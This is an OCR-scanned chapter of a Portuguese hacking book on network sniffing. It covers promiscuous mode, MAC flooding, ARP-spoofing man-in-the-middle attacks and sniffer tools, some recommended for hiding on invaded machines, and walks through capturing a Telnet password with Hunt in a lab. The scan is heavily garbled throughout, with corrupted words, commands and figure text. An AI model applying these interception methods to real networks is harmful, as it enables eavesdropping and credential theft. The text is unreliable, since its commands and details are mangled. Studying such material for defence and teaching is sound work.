Todo sistema opemcional possui uma fermmenta qualquer que mostra o
estado e altera as configuraes da placa de rede. Tomando como exemplo um
sistema GNU/linux, o comando que faz esse tmbalho parol ns o ifconfig.
Emitido (como root) sem argumentos, o comando mostm o estado de todas as
interfaces de rede. Emitido seguido do nome de uma interface, d o estado
atual dessa interface. Por exemplo, pam saber a quantas anda a primeira
interface de rede (ethO), o comando seria:
ifconfig ethO
o resultado seria:
Encapsulamento do Link : Ethernet Endereo de HW 00 : 08 : 74 : B5 : 64 : 95
inet end .: 192 . 168 . 1 . 11 Bcast : 192 . 168 . 1 . 255 Masc : 255 . 255 . 255 . 0
UP BROADCAST RUNNING MULTICAST MTU : l500 Mtrica : l
RX packets : 13567 errors : O dropped : O overruns : l frame : O
TX packets : 8300 errors : O dropped : O overruns:O carrler : O
colises : O
RX bytes:3163776 (3 . 0 Mb) TX bytes : 994079 (970.7 Kb)
Observe as informaes mostradas. Voc sabe, por meio desse comando, que
o encapsulamento do link (ou seja, o protocolo de camada 2) Ethernet, que o
MAC 0()"'()8-74-B5-64-95, que o endereo de rede 192.168.1.11, que o tama
nho mximo do pacote Ethernet (M11J) de 1.500 bytes, etc ... H tambm
alguns flags que indicam se a interface est pronta ou pe (UP), se estil
rod:mdo (RUNNING) e se responde a broadcast ou multicasl.Agora vejamos o
que acontece com o comando abaixo:
fconfig ethO promisc
Aparentemente, nada acontece. O shell nos devolve o prompt e nenhuma
mens;tgem de eITO Otl de tarefa conkuda mostrada. Mas, se emitinnos nov:l-
mente o comando ifconfig ethO, o resultado seria um pouco diferente:
Ataque. defesa e contra-ataque: Invaso I
Universidade 3ano
Encapsulamento do Link : Ethernet Endereo de HW 00 , 08 : 74 : B5 : 64 : 95
inet end ., 192 . 168.1 . 11 Bcast : 192 . 168 . 1 . 255 Masc : 255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU,1500 Mtrica : 1
RX packets : 13567 errors : O dropped : O overruns:1 frame:O
TX packets : 8300 errors:O dropped : O overruns,O carrier : O colises : O
RX bytes : 3163776 (3.0 Mb) TX bytes : 994079 (970.7 Kb)
Bingo! Observe que a placa agora est em modo promscuo (flag PROMISC) .
Absolutamente TUDO o que est trafegando na rede interpretado pela pilha
TCP/IP do kemel e pode, portanto, ser monito .ado. Isso inclui pacotes no
direcionados a essa mquina.
As redes locais nonnalmen-
te se utilizam de equipamen-
tOS chamados hubs (captulos
Redes I e lI) para facilitar e
nexibili7;lf a conexo de no-
vas mquinas a uma rede exis-
tente. O hub age ainda como
um elemento regene .tdor do
sinal dtrico presente no
barramento de rede. Mas o
hub um elemento passivo
no tocante a controle do tr-
fego na n..x1c local.
Hubs e repetidores so
equipamentos que traba-
lham na camada 1 do mo-
Sniffing passivo
delo 051, portanto no tm controle algum sobre o quadro Ethernet (ou qual-
quer outro protocolo de camada 2 como Token Ring, Frame Relay oU
X.25). Isso significa que uma menSilgem enviada de uma mquina para a ou-
tra ser:, ouvida por todas na rede.
fcil perceber, no desenho acima, que se a mquin:a A enviar uma mensa-
gem para a C, as estaes 8, D e H ainda estaro Portanto, apesar
da aparncia de estrela, uma rede que se utilize de um hub para interligar
as mquinas , na realidade, um barramento.
Conclumos que muito fcil p<lril um sniffer registr<lr e decodificar lUdo
o que trafega nessa rede. Como trabalha com interfaces em modo proms-
cuo, todos os pacotes d<l rede podem ser interpretados. Mas e se a rede
estiver segmentada com bridges Oll switches?
1273 I
I Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
1274 1
No captulo 2 (Redes I) vimos en passant a descrio desses equipamemos.
Uma bridge divide a rede em dois segmentos e bloqueia trfego no destinado
cada um deles.
)( Bridge )(
Jt. Bloqueado pela Bridge
Observe: as mquinas A e B esto no segmento 1, enquanto C e O no segmen-
to 2. Isolando os dois, lima bridge. O trfego de A para fi e de fi para A fica
restrito ao segmento 1, e o trfego de C para D e de O para C fica restrito ao
segmento 2. A bridge bloqueia o trfego local , no deixando que mensagens
no endereadas a um barramento em especial cheguem nele.
Bridge
Deixa passar
Entretanto, se a mquina C quer enviar uma mensagem para a mquina A, a
bridge deixa passar o pacote.
Ataque, defesa e contra-ataque: Invaso I
Universidade 3ano
A detenninao de quais pa-
cotes d(.'Vem pass:tr e quais de-
vem ser bloqueados dinmi-
ca, baseada nos endereos MAC
das interfaces de rede. No mo-
mento que uma bridge ligada,
ela no tem nada na memria.
medida que as estaes vo
enviando pacotes parJ. a rede, a
bridge guarda os MAC Adresses
numa tabela, relacionando-os
com o segmento de onde opa
cote se originou. Note que fildo
se passa na camada 2 do modelo OSI: a bridge s tem conhecimento das mquinas
ligad1S diretamente em sua rede local.
Imagine, agora, um hub que possusse lrrna bridge em cada porta. Cada mquina
da rede receberia apenas trfego destinado a si. Esse "monstrengo existe e se cha-
ma comutador ou switch.Observe: assim como em nosso primeiro exemplo, a esta
oA quer enviar Wl1a mensagem par.! a estao B. Devido ao switch, nenlnmm das
outras mquinas ir escutar o que A tem a dizer. AJm disso, C jX>deria falar com E
simultane-.unente, X)is a rede est, para elas, ociosa.
Uma rede com um switch no lugar de um hub, alm do controle e diminuio
do trfego, tambm ofereceria uma segurana adicional rede, uma vez que
um sniffer instalado, por exemplo, em O no poderia escutar nada das conver-
sas entre A e B ou C e E. O uso de bridges e switches, ento, minimizaria o
problema dos sniffers, certo? Infelizmente, mais uma vez, a resposta no ...
Sniffing ativo
Um switch ou bridge possui uma tabela que relaciona os MAC addresses que
~ o u v i u na rede com as portas ou segmentos nos quais foram "ouvidos". Como
preenchida dinamicamente, essa tabela ser atualizada toda vez que uma
nova mquina for conectada rede.
Como di7Ja um parente meu (ilustre, mas iletrado), "tudo o que demais em
demazia" (sic). A memria do switch possui um tamanho limitado, portanto tun
nunero muito grande de interfaces de rede ligadas em cada tUna das portas pode-
ria, num caso extremo, preench-Ia completamente. Pensando nisso, os fabricantes
desses equipamentos as dimensionam para que esse limite nunca seja atingido.
O problema que um quadro Ethemet nada mais do que uma seqncia de uns
e zeros que jX>de, por isso mesmo, ser manipulada. Um programa cu.idadQS<unente
escrito poderia gerar, ad infinitum, frames Ethemet com MAC adresses aleatrios
e, em alglUlS minutos, preencher completamente a memria do switch. Como o
show no jX>de parar, esses equipamentos podem comear a repassar mensagens
indiscriminadamente para todas as ponas. Essa tcn.ica chamada de MAC Flooding.
1275 1
I Ataque, defesa e contra- ataque: Invaso
I Universidade H4CK3R I
12761
Uma vez nessa situao, qual-
quer sniffer poder farejar a
rede. H ferramentas que fazem
isso (uma delas, escrita em i>erl ,
pode ser encontrada em
www.safenelworks.com/
Others/3com4.html), mas os
sniffers mais modernos (como
o ettercap e o dsnift) j fazem
todo o trabalho.
Felizmente (ou infelizmente,
dependendo dos intentos do es-
timado leitor), alguns switches
so imunes ao MAC F1ooding.
H vrias maneiras de implementar switches assim. Podem ser usados algoritmos
de proteo que impedem que a memria seja completamente preenchida. Ou
ento um sistema de deteco de flood, baseado em padres de dados e um
knlowledge base dos sniffers conhecidos. Uma terceira maneira seria adotar
uma poltica de persistncia, mantendo MACs conhecidos h mais tempo em
detrimento de novas interfaces, caso a memria lote.
Para contornar esse inconveniente, os hackers desenvolveram uma tcnica cha-
mada ARP Spoofing. uma tcnica um pouco mais complicada, mas muito inte-
ligente. Em vez de trabalhar apenas na camada 2 (Ethernet) o invasor vai confun-
dir o computador cujo trfego se deseja manipulando sua tabela ARP.
O ARP, como discutido anteriormente, um mecanismo de traduo li>-pard-
MAC A mquina que quer enviar o pacote pergunta, na rede: "Quem tem o IP
tal "? Todas as mquinas daquele segmento ouvem a pergunta, mas apenas a
interface que possui aquele "" 0.0.0. '
li> responde: "Sou eu, meu MAC-"""",,,,",
MAC XXXXXX". A partir
disso, a interface de origem
monta um quadro Ethernet
e o envia ao destino. O ARP
Spoofmg uma maneira de
enganar a mquina da vti-
ma, fazcndo-a acreditar que
o endereo MAC da mqui-
na onde o sniffer est
corresponde ao endereo Ii>
da mquina-destino original. 5.;11 .. Al;OO: , .. par.l o
Complicado? Sim, . Vamos
tentar exemplificar: MACaz,uu
Ataque, defesa e contra-ataque: Invaso I
Universidade 3ana
No diagrdma mostrado, a estao A quer falar com a estao B. A partir da
estao H, um hacker quer farejar a comunicao entre A e B. Para isso,
necessrio uma prepardo prvia. A primeira coisa que o hacker deve fazer
configurar seu sistema operacional de H para repassar todo e qualquer
trfego que chegue para si, vindo de A, para a verdadeira mquina destino,
que B. A configurao do IP forwarding normalmente feita pelo prrpio
sniffer, mas possvel que em alguns casos seja necessrio faz-lo manual-
mente. Tanto Windows quanto Netware e tambm qualquer Unix permitem
esse tipo de redirecionamento. Lembrd-se daquele mapa da rede, feito com
ping+traceroute (ou com o Cheops)? Ele ser muito til agora.
O segundo passo enganar a mquina A, fazendo-a acreditar que o IP de B
possui o MAC de H. Isso conseguido fazendo H enviar um nmero monstruoso
de respostas ARP para A, informando que o IP de B possui o MAC de H - respos-
tas essas que sequer foram soli-
citadas. Depois de um certo tem-
po, A "pensa" que, para mandar
mensagens para o IP de B, tem
que construir quadros Ethernet
direcionados ao MAC de H.
Agora s ativar seu sniffer
preferido e esperar. O trfego
vindo de A em direo a B vai
passar por H antes. Nem A nem
B vo desconfiar disso, pois, para
eles, a comunicao apenas en-
tre os dois. Esse tipo de configu-
rao de ataque nonnalmente
chamado de"man in the middle".
Sniffer Alivo: . i ol
Escolhendo seu sabujo
H um nmero gigantesco de ferramentas de snifflllg que podem ser usadas
em diversas platafonnas. Eis alguns:
tcpdump (www,tepdump,org) , a ferramenta nativa de monitoramento
de rede de qualquer Unix:. J vimos o funcionamento do tcpdump no captulo
Redes II. Colocando a placa de rede em modo promscuo (por exemplo, com
ifconfig no Linux) e rodando o tcpdump, tem-se o mais bsico possvel (mas
no por isso menos eficiente) sniffer de rede para Unix. A vantagem de se
usar o tcpdump que todos os Unices j o possuem - o invasor no precisa
instalar nada, s rodar o progrdma C dirccionar a sada para um arquivo. O
comando seria:
12771
I At aque. defesa e contra- ataque: Invaso
I Universidade H4CK3R I
2781
tcpdump [opes! > arquivo.de.sada
Uma verso do tcpdump pam Windows pode ser encontr.tda cm
windump,polito,it .
IPTraf (iptrdf.seul.orn ) , o
av de todos os sniffers Unix,
ainda pode ser efelivamente
usado em uma sesso de
sniffing. Apesar de sua idade,
possui recursos poderosos.
Vale a pen<l dar uma confcrid<l .
Uma de suas vantagens que,
como o tcpdump, comum
encontrfllo j instalado - pou-
pando trabalho, recursos e no
lev<lnt:lOdo suspeitas.
Ethereal (www.ethereal.com). um sniffer poderoso, que suporta vrios
protocolos, marca-os com cores diferentes e interpret<l seus significados. Pos-
sui uma interface grfica muitssimo amigvel. mais usada por administr.tdo-
res , mas til tambm para crackers malintencion:ldos. Disponvel p<lra
Windows c Unix. Os autores recomendam.
.. ,
"
_r: oI ....... rl < ... lt.v.,:so). D .. _r: -"'''''.'1 O'l.'M.O.Jl
";,;::;::"'" Sr< Pc.,: _ (III). os. Pcr': 1;>4' 12><1). l ... ,
, ..
... ... , ... 1M _ ... tl ... I1 ... ""CI. \.\fI
:.: :i:i:
... , ..
Ataque. defesa e contra-ataque: Invaso I
Universidade 3ano
o Ethereal pode, inclusive, decodificar e extrair infonnaes a partir de um
detemnado protocolo. No exemplo acima, uma pgina HTML foi decodificada
de dentro de uma srie de pacotes Tep:
Snif'em (\Vww.sniff-em.com), um sniffer comercial para Windows. Faz
sozinho wdo o que o Ethereal, o Ettercap, o Snort e o Dsniff fazem juntos, mas
pago. Na opinio dos autores, no vale a pena pagar para ter algo que pode
ser obtido gratuitamente com ferramentas menores, mas usurios de Windows
gostam de ter tudo integrado num nico programa. Um dos diferencias do
Snjff'em sua capacidade de monitorar interr.tces no-usuais como sadas seriais,
USB e modems RAS e RDSI/ISDN.
SoOrt (www.snort.org) um detector de intrusos (IDS) que serve tam-
bm como sniffer. muito conhecido por analisar de forma perfeita os logs do
Squid. Tem a seu favor, alm de sua coleo de truques, uma vasta lista de plata-
formas na qual roda, incluindo a linux, Solaris, BSD, HP-UX, IRIX, MacOS X,
AIX e Windows.
Sniffit CrcptH,Glg.ac.be/-coderlsniffit/sniffit.html) trabalha exclusivamen-
te em Unix, mas venerado pela comunidade por suas capacidades de sniffing
quase esotricas. Possui dois modos de operao. O tradicionaJ (sniff mode)
faz o que qualquer sniffer faz: grava todo o trafego da rcde. Um segundo modo,
chamado de interativo, pennite que o hacker veja o que est trafegando na
rede em tempo real. possvel escoUler apenas um protocolo pard monitoFdr,
e existem filtros que escondem toda a complexidade inerente dos protocolos,
mostrando apenas os dados teis. Com o sniffit, possvel inclusive ver o que a
vtima est digitando em um programa de mensagens instantneas como o
MSN Messenger ou o ICQ - tudo isso em tempo real!
1279 I
I At aque. defesa e contra -ataque: Invaso
I Universidade H4CK3R I
280 I
Hafi:ye Cwww.enderunix.orgJhafiye) um sniffer ba5e'J.do em knowledge-base.
Possui um banco dt: dados com padres dos mais diversos protocolos de comunica-
o e criptografia e capaz de separar os dados teis de dentro de um pacote.
Kismet Cwww.kismetwireless.nt:O um farejador de redes wireless
(802.11) nos moldes do UYft-af e lcpdump.Alm de ser capaz de decodificar os
protocolos pertinentes, consegue dividir as redes por rea e por clula de r-
dio. Desenvolvido especialmente para linux, suporta nativamente o PDA Zaurus,
da Sharp, com placa de rede wireless. Uma boa pedida parJ. War Driving.
USB Snoop (sourceforge.netlprojects/usbsnoop) monitora e grava todo
o trfego entre o driver do dispositivo USB e o prprio dispositivo. til par.!
engt:nharia reversa de drivers (para, por exemplo, produzir um driver Open
Source), mas tambm pode ser usado para monitorar o trft:go de modems
USB. Uma rede criptografada e superprotegida pode ser se um
laptop for ligado a um computador de mesa ligado a ela pelo USB.
APS - Advanced Packet Sniffer (www.s-wrtec.deJclinux) outro exemplo de pro-
grama minsculo que Jxxle ser usado para furejar pacotes. Olmo extremamente
dependenle do kemel, fundona apenas em Unux, mas Sll.1 intL>rf.tcc simples e intuitiva
em modo texto pennile sua operao remota sem sobrecarregar a conexo.
Hunt Oin.fsid.cvut .cz/-kra/index.html) no apenas um sniffer, mas uma
ferramenta completa de explorao de falhas na pilha TCpnp. Suporta tudo o
que um sniffer dt:ve ser capaz de oferecer: vigiar diversos tipos de protocolos
(lCMP' TCP, ARP), montar mensagens fragmenladas a partir de pacotes TCP
seqenciais, detectar ACK Storms, seqestrar sesses (hijacking) e
os MACs da rede, entre muitos outros truques. Por ser muito didtico, o pre-
ferido dos professores de cursos de redes e segurana - foi , inclusive, desen-
volvido por um professor de malemtica da Universidade de Praga, Pave! Krauz.
Com o Hunt, podemos facilmente colocar-nos como man in the middle numa
conexo, registrar tudo o que estiver sendo transmitido, manipular os dados e
at mesmo termin-Ia (reset).
ettercap (ettercap.
sourceforge.neO um
excelente sniffer ativo,
ou seja, especial para
ser usado em redes com
switches. Suporta MAC
Flood e ARP Spoofing e
extremamente fcil de
usar. Como funciona em
modo texto, fica facil -
mente operacional em
qualquer mquina Unix
e extremamente pe-
queno. Atacar com o
Ataque, defesa e contra-ataque: Invaso I
Universidade 3ano
euercap brincadeira de criana: primeiro, escolhe-se a dupla de mquinas
que se quer monitorar as comunicaes.
Escolhe-se, emre as conexes
TCP ou UDP estabelecidas (pode
haver mais de uma), qual a que
se quer monilorar. Depois disso,
a tela mostra os dados que trdfe-
gam entre as duas mquinas.
Pode-se grav-los, examin-los em
modo ASCII ou hexadecimal ou
injetar caracteres na trasmisso
(e assim manipular a conexo).
H plugins e novos mtodos de
sniffing com nomes sugestivos,
como Port Stealing, Hum, Confusion ... A5 possibilidades so enormes!
~ Angst (angst.sourceforge.neO, desenvolvido e testado para O OpenBSD,
uma ferramenta que tem a seu favor a robustez e o tamanho diminulO - alm
de fazer sniffing alivo. Possui menos recursos que seus primos mais ilustres
como o ettercap e o dsniff, mas pequeno o bastante pard passar despercebi-
do em uma mquina invadida. Funciona tambm com FreeBSD e Slackware
Linux, outras platafonnas Unix requerem recompilao e testes.
~ Dsniff (www.monkey.orgl- dugsong/dsnift) , na atualidade, o mais res-
peitado sniffer ativo para redes comutadas. Foi testado pelos autores em
OpenBSD e Linux em PCs e Solaris em mquinas SunSPARC, mas j foi testado
em praticamente todos os sabores Unix conhecidos, entre eles AlX, FreeBSD,
HP-UX e at Mac OS X (blafasel.orgl-floh/pons/dsniff-2.3.osx.tgz). H ainda
uma verso (desatualizada mas funcional) para Windows, disponvel em
www.datanerds.net/-mike/ dsniff.html .
Apcs.1.r dos sniffers mais simples serem mais fceis de "plantar" e usar, h outros,
mais elaborados, que so verdadeir.t.s obras-de-arte do m:il. O tcpdwnp sozinho em
uma mquina Unix j poderia fazer muito estrago, e tem a vantagem de j estar
instalado. Por outro lado, mquinas Wm9x pennitem que lIDl invJSOr "esnife a rede
(usando, por exemplo, o Wmdllll1p ou o Ethcreal) sem invadir mquinas muito com-
plic"adas ou 5CgUl.t.s. Como qualquer usurio de Win9x tem controle total sobre a
mquina, possvel rodar um sniffer nela sem precisar quebrar nenhuma senha de
administrador. A insegurana inerente a essa arquiK-TIlld auxilia o inimigo. Qualquer
servidor ou estao, sejam eles Unices, Madntoshes, Netwarcs ou Wmdows NT!2k!
XP, pode ser mn perigo se Ina] configurados. Entretanto, redes com estaes Wmdows
95/98/Me nunca sero seguras, qualquer que seja o esforo dispendido nelas.
Para mais opes, procure por s n i f f ~ no Fresmeat (www.freshmeat.neO ou
no Google (www.google.com). O download.com tambm possui diversas op-
es para Windows, e os CDs do livro tambm trazem mais alguns de1es. Uma
:ltima dica sobre sniffers (e outrdS ferrdmentas): pedflm.redhivesom.
1281 I
I Ataque, defesa e cont r a- ataque: Invaso
I Universidade H4CK3R I
I 282 I
Farejando na prtica
Nada como uma sesso de sniffmg para ftxar os conceilOs aprendidos. Poder-
amos exemplificar esse procedimento com um sniffer gr.tfico como o Ethcrcal ,
que possui uma verso par::l Windows e uma bela interface de comando. O Ethereal
ainda separa e interpreta os protocolos para voc, de modo a fazer o mximo
possvel do e deixar ao administmdor de rede apenas com as
informaes teis, Mas lembre-se: se voc est explorando uma
rede remota, possivelmente vai deixar seu sniffer rodando sozinho para depois
recuperar o arquivo contendo o tr.LCego.A interface grfiC'J., os e a inte-
ligncia do Ethereal de nada adiantaro nesse ambieme.
Antes de comear nosso estudo, dois lembretes. Em primt:iro lugar, observe que
sua conex.lo domstica Internet provavelmente se d por lUll protocolo de camailil
2 ch:unado de PPP ou Poim-t<>Point Protocol. Como o nome j:. diz, mn protocolo
ponto a ponto: sua rede local possui alxn.1S duas interfdcc:.'S, a de sua mquina e a do
modem do provedor de aCL'SSO.JUStameme devido ao voc no poder f.m::jar o
trfl...'go na subrede de Internet qual voc est (aparentemente) conL--ctado. Em lUlU
ligalo empresarial - nonnalmente por linha privada usando Frame Re1ay ou X.25
e 0<10 PPP - possvel (embor.1 no muilO provvel devido a frrewalls e roteadores)
que a subrede d'l Internet detenninada para a empresa possa ser farejada. De qual-
quer fonna, um sniffer til apenas em estrururas de conectividade internas, onde rui
verdadeir.unente vrias mquinas tmfegando infornlaf.'S na mesma rede loc.u.
O outro lembrete no menos importante. Existem trs condies bsicas
para se poder a rede:
1. Existir uma rede com pelo menos 3 mquinas (as duas que se quer monitorar
mais a sua, que monitorAr as outrAS duas).
2. Possuir acesso de superusurio (root para Unix e Mac OS X ou AdminiSlrA-
dor parA WinNT!2k/XP - mquinas com Win9x no precisam de nada disso ... )
mi mquina que ficar em modo promscuo e farejar a rede.
3. Possuir autorizao para fazer a monitorao e alertar os usurios da rede
para lal. No condio impeditiva para iniciar o sniffing, mas tico. Todos
tm direito, garantido por lei , privacidade. Se sua empresa possui uma polti-
ca de monitora;lo de triifego, esta deve ser informada aos funcionrios.
Isso posto, vamos ao que inleressa. Em nosso primeiro estudo, us.'lremos o
Hum. O programa possui uma interface com o usurio em modo texto que,
apesar de singela, muito funcional. No vamos ent'rar em deulhes sobre a insta-
lao do programa - h immcs para isso na documentao que o acompanha.
Em nossa rede de testes (laborAtrio de Redes Ll), instale o Hunt na mquina
Unix. Ela ser nossa mquina Vamos monitorar uma conexo enlre a
mquina Windows e a mquina P'Ar'A que possamos acompanhar me-
lhor a conexo, vamos abrir uma seSS;IO de Telnct, que um protocolo imer.uivo
e que funciona em texto simples - perfeita para ser monitorada pela sua sim-
plicidade e baixa velocid"de. Observe:
Ataque. defesa e contra-ataque: Invaso I
Universidade 3ano
Unix
Hunt
192. 168.1.3
Coitada
Telnetd
192.168. 1.2
Windows
Tel net
192.168.1.2
Na Coitada 092.168.1.2) estamos rodando tml servidor de Telnet (no esquea
de ativ-Io!). Na mquina Unix, execute o Hum. Ser mostrada uma tda como esta:
lO
* hunt 1.5
O
O
' I
mu1tipurpose connection intruder I sniffer for Linux
(c) 1998-2000 by kra
starting hunt
- Main
l/w/r)
u)
a)
,)
d)
o)
x)
Menu - rcvpkt 0 , free/a110c 63/64
1ist/watch/reset connections
host up tests
arp/simp1e hijack (avoids ack storm if arp used)
simp1e hijack
daemons rst/arp/sniff/mac
options
exit
o smbolo -> O prompt do Hunt. Observe o menu. H rotinas para listar,
observar e dermbar conexes, verificar servidores online, faze hijacking etc.
Temos que configurar o Hunt para que passe a escutar nossa rede. Observe: as
opes 1!w/ r, respectivamente, listam todas as conexes ativas, vigiam uma
delas e interrompem-na (reset). Para que funcionem, necessrio que haja algu-
ma conexo ativa.
Escolha a opo ~ ~ (options) e pressione a tecla Enter. Um novo menu ser
apresentado:
-> o
- options - rcvpkt 723, free/a110c 63/64
1) 1ist add conn po1icy
a/m/d) add/mod/de1 conn po1icy entry
c) conn 1ist properties mac n, seq n
g) suggest mac base EA : 1A:DE:AD:BE:OO
h) host resolving n t) arp req spoof through req y
1283 1
I Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
:84 I
ri
si
ql
pi
ii
reset ACK storm timeout
simple hijack cmd timeout
arp req/rep packets
number of lines per
print cntrl chars
x) retur n
-opt>
page
4s
2s
2
O
y
wl switched environrnent y
yl arp spoof wi th my mac n
e l learn MAC from IP traffic n
vi verbose n
So inmeras opes. Por enquanto, vamos nos ater s mais bsicas. As opes
a/m/d manipulam o que chamado, numa traduo livre, de regras de conexo.
Basicamente, uma regra de conexo a maneira pela qual dizemos ao Hunt
quais conexes queremos monitorar. Vamos adicionar uma regra (opo
-opt> a
src ip addr/mask ports [0 . 0 . 0 . 0/0
o programa pede o endereo IP e a mscara de rede da interface de origem
(src) que queremos monitorar. No nosso caso, a interface de origem aquela
que vai fazer conexo com um servidor telnet, portanto colocaremos a o lP da
mquina Windows. Lembrando do que aprendemos em Redes II, O (zero) quer
dizer Portanto, colocar um zero em qualquer lugar do endereo indica
que todas as mquinas com aquele prefixo sero monitoradas. Por exemplo, se
eu colocasse 192.168.1.1/32, eu monj(oraria os pacotes originados nessa m
quina. Se eu colocasse, por outro lado, 192.168.l.0/24, o Hum farejaria os pa-
cotes de todas as mquinas da rede 192.168.l.0, ou seja, entre 192.168.1.1 e
192.168.1.254. Num caso extremo, colocar 0.0.0.0/0 seria o mesmo que dizer
ao programa: "Vasculhe TUDO' "
De maneira similar, preencha o endereo de destino. A prxima pergunta
(insert a1) simplesmente para definir em que posio da lista nossa regra
aparecer.
A opo "r lista as regras de conexo existentes. Em nosso caso, teramos:
-opt> 1
O) 0 . 0 . 0 . 0/0 l all]
1) 192 .1 68 . 1. 1/32 lalll
-opes do menu--
*opt>
<-> 0 . 0 . 0 . 0/0 [ 23 513)
< - > 192 . 168 . 1 . 2/32 [all]
Observe que remos um asterisco no prompt. O Hunt est nos indicando que
as mquinas esto "vivas
n
na rede. Para sair do modo opes, usa a opo "x".
De volta tela inicial, temos a opo de listar el") as conexes ativas: Experi-
mente e veja: no h nenhuma conexo no momento. Vamos criar uma ento.
Ataque, defesa e contra-ataque: Invaso I
Universidade 3ano
Na estao Windows 092.168.1.1) vamos fazer uma conexo de Telnet para
a uma janela do DOS e digite telnet 192.168.1.2. Se tudo esti-
ver certo, vai aparecer a tela de login da mquina "Coitada" na janela de Telnet
da mquina Wmdows. Na mquina Unix, volte ao Hunt e escolha a opo "I"
novamente. Mgica: apareceu a conexo entre 192. 168. 1. ) e 192.168. 1.2. A
porta de origem alta (como deveria ser, leia o captulo Redes II e a RFCI700) ,
e a de destino a 23 - a porta do servio Telnet. Vamos, ento, pedir ao Hum
que mostre o trfego para ns. Escolha a opo "w" (watch), escoUla qual cone-
xo quer monitorar e, em seguida, a opo (both).
Volte mquina Windows e d seu login e senha. Se voc observar no Hunt,
essas informaes sero mostradas l. Caso o login seja bem sucedido, o promp
do shell Unix aparecer no Telnet da mquina Windows - e tambm na tela do
Hunt, que est numa mquina que nem participou da transao! Faa vrias
experincias: liste diretrios, edite textos com seu editor favorito ou chame
algum programa - todas essas atividades sero monitoradas pelo Hunt.
Para o Hunt, esse o bsico. Por sua simplicidade, acaba ficando limitado em
possibilidades, mas muito til na maioria dos casos. bvio que h muito
mais a explorar sobre o programa, mas deixo isso como dever de casa. Brinque
com o Hum por alguns dias, fareje sua rede, leia toda a documentao e procu-
re por mais recursos na Internet. Depois. tente tambm brincar com o Snort, o
Sniffit , o Ethercal e o IPTraf, tanto em Unix como em Windows. Use tambm
algumas das ferramentas simples disponveis nos CDs. Parar uma semana ou
duas para tal seria o desejvel , e s depois disso prossiga a leitura. Valer a
pena - e ser divertido!
Quando a caa v
o Hum um timo (e didtico ... ) sniffer, mas tem um problema insolvel
para os modelos clssicos de sniffers: no ustrapassa sniffers ou switches. Para
as redes comutadas, necessrio utilizar sniffers apropriados, que faam ARP
Spoofing ou, pelo menos, MAC Flood.
Dois sniffers o fazem de forma magistml: Ettercap e Dsniff. J falamos sobre
ARP Spoofing e MAC Flood h algumas pginas. Estude a documentao e ex-
perimente ambos os programas. Adicionalmente, sugerimos que o leitor procu-
re mais informaes sobre os seguintes mtodos de sniffmg:
SSL Spoofing (falseando ou manipulando certificados digitais);
DNS Spoofing (desviando o trfego Web para servidores falsos) ;
Snarfing (uma maneira de "pentear" os pacotes TCP/UDP par .. extrair de-
les apenas a informao que mostrada na tela da vtima: e-mail, mensagens
instantneas, pginas da web ... ).
1285 I
I At aque. defesa e contra-ataque: Invaso
I Universidade H4CK3R I
1286 1
Who can you trust?
jUSI stlY enough is enough / Oh I gOlclw I Who who who cm you crust
UII'lII IIIIHIPira de H' cons('({uf/" lllll Spoofinl] rrlllfs ('f('lh'o (> 1l{I'iJ\,(> dll
cip f'onflall('a (Oll !/'uI n'/iJ/iolls) ('nlrl' COIlIJ)lJ{lIrlO/"ps, l.so JW/'lIjil('
(Jlu' UHI computador pOSSIl 11'1' Ilcesso ti "Ilr/OS /"l'CUnO\ 11I7pndo /o,/ill ('III
Ilpl'IIU.'> II/H slslema,
Login
Senha
&g
I:i IS
<:: Coo!"", !!'!!i!I

Observe: existe uma mquina servidora (vamos cham-Ia de "S") que possui
relao de confiana com outras mquinas (vamos cham-Ias "TI ", "T2", "T3"
elc), Se o usurio logar-se na mquina S, aulOmaticamente ler acesso a recur-
sos das mquinas Enquanto essa f'J.cilidade um galho" parJ admi-
nistradores de rede e permite que usurios Joguem-se em apenas um sistema
parJ. ter acesso a vrios, se um hacker conseguir f'Jzer-se passar pela mquina
que tem a confiana poder ter acesso a todas as outras, que "confiam" nela,
Tanto sistemas Unix quanto Windows (e tambm Novell, . .) possuem facilida-
des parecidas. O Windows 2000 possui um recurso chamado Advanced
Directory Service (ou AOS), que detm o cadastro de todos os usurios e m-
quinas da rede e as relaes entre eles, O usurio, ao logar-se em um domnio
Windows, tem seu nome e senha comparados com os do AOS e , caso aceitos,
todos os servios so disponibilizados,
A Novell possui um produto chamado eDirectory (www.flQvell.com/pt-brL
producls/edirectory) baseado em um ncleo, o Novcll DireclOry Service ou
NOS, O software operJ. da mesma forma que o AOS da Microsoft , com um
diferencial: no est restrito aos produtos Novell . Na realidade possvel , atm-
vs do eOirectory, criar conexes pam todos os tipos de plataformas de software
7, ""/K'II;b dig.l que ii len" o / IIclJc, J"-'gei ,'oc / Em quem, t'm t' m quem >oei' poe
confi:ld-joon jCtf, Who t"n }'ou ml!if Do :I/bum 'Chcrry 80mb, de / 995
Ataque, defesa e contra-ataque: Invaso r
Universidade 3ano
e hardware imaginveis, incluindo a Unices, Windows e mesmo sistemas de
gmnde porte.
Tanto o eDirecory quanto o ADS baseiam-se num padro chamado
ghtwheight Directory, Access Protocol ou LDAP H verses do LDAP dispo-
nveis pam diversos sabores de Unix. Uma das mais famosas o OpenlDAP
Cwww.openldap.org), verso livre, gmtuita e de cdigo aberto. O LDAP uma
forma segura de prover, para aplicaes Unix (e tambm Windows e
Macintosh .. . ) , o chamado single-sign-on (ou log-se apenas uma vez) e ler acesso
a vrios recursos disponveis em pontos distantes da rede.
Mas os sistemas Unix possuem dois antepassados desses servios: o NIS
(Network lnformation Service) e o famigemdo Unix Trust. Por sua idade, am-
bos so extremamente inseguros e facilmente hackeveis. Falaremos do NIS
mais pam frente, j que sua falha no se tmta de IP Spoofing.
O Unix possui urna srie de comandos, todos iniciando em r ~ (de rcmote) que
pennilcm que diversos sistemas possam ser opemdos sem que seja preciso au-
tenticar-se em cada um deles. Imagine, por exemplo, que o usurio est logado
na mquina A. A mquina B confia em A, portanto permitir que os comandos "r"
sejam executados nela tambm. Por exemplo, se o usurio da mquina A emitir o
comando rlogin IPDE.B, ser presenteado com mn shell da mquina fi sem que
seja necessrio fornecer usurio ou senha. fi confia em A, ento B confia nos
usurios de A ... Da mesma forma, h os comandos rsh (remote shell - permite a
execuo de apenas um comando), rcp (remote copy), rmail (l e-mails no outro
sistema) entre outros. Pam que seja permitida a execuo dos comandos, neces-
srio que o IP de A esteja contido no arquivo /etc/hosts.equiv de B. Todas as
